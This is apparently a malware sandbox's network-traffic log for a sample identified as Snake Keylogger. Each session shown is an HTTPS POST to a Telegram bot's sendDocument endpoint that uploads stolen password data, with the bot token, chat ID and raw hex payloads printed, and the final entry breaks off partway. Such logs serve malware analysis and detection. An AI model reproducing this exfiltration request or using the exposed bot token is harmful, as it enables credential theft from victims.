2022-06-26 07:33:25 UTC	185	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f0200579 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:25 UTC	186	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 30 32 30 30 35 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f0200579Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:25 UTC	186	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:25 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:25 UTC	186	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66869,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228805,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.5	49962	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:25 UTC	187	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f0547b32 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:25 UTC	187	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 30 35 34 37 62 33 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f0547b32Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:25 UTC	188	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:25 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:25 UTC	188	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66870,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228805,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.5	49964	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:25 UTC	189	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f09276e5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:25 UTC	189	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 30 39 32 37 36 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f09276e5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:26 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:26 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:26 UTC	190	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66871,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228806,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.5	49965	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:26 UTC	190	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f0d07341 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:26 UTC	191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 30 64 30 37 33 34 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f0d07341Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:26 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:26 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:26 UTC	192	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66872,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228806,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.5	49966	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:26 UTC	192	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f10c111a Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:26 UTC	192	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 31 30 63 31 31 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f10c111aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:26 UTC	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:26 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:26 UTC	193	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66873,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228806,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.5	49967	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:26 UTC	194	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f142e3e0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:26 UTC	194	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 31 34 32 65 33 65 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f142e3e0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:27 UTC	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:27 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:27 UTC	195	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66874,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228807,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.5	49968	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:27 UTC	195	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f17e7ee5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:27 UTC	196	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 31 37 65 37 65 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f17e7ee5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:27 UTC	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:27 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:27 UTC	197	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66875,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228807,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.5	49969	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:27 UTC	197	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756f1b5550f Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:27 UTC	197	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 66 31 62 35 35 35 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756f1b5550fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 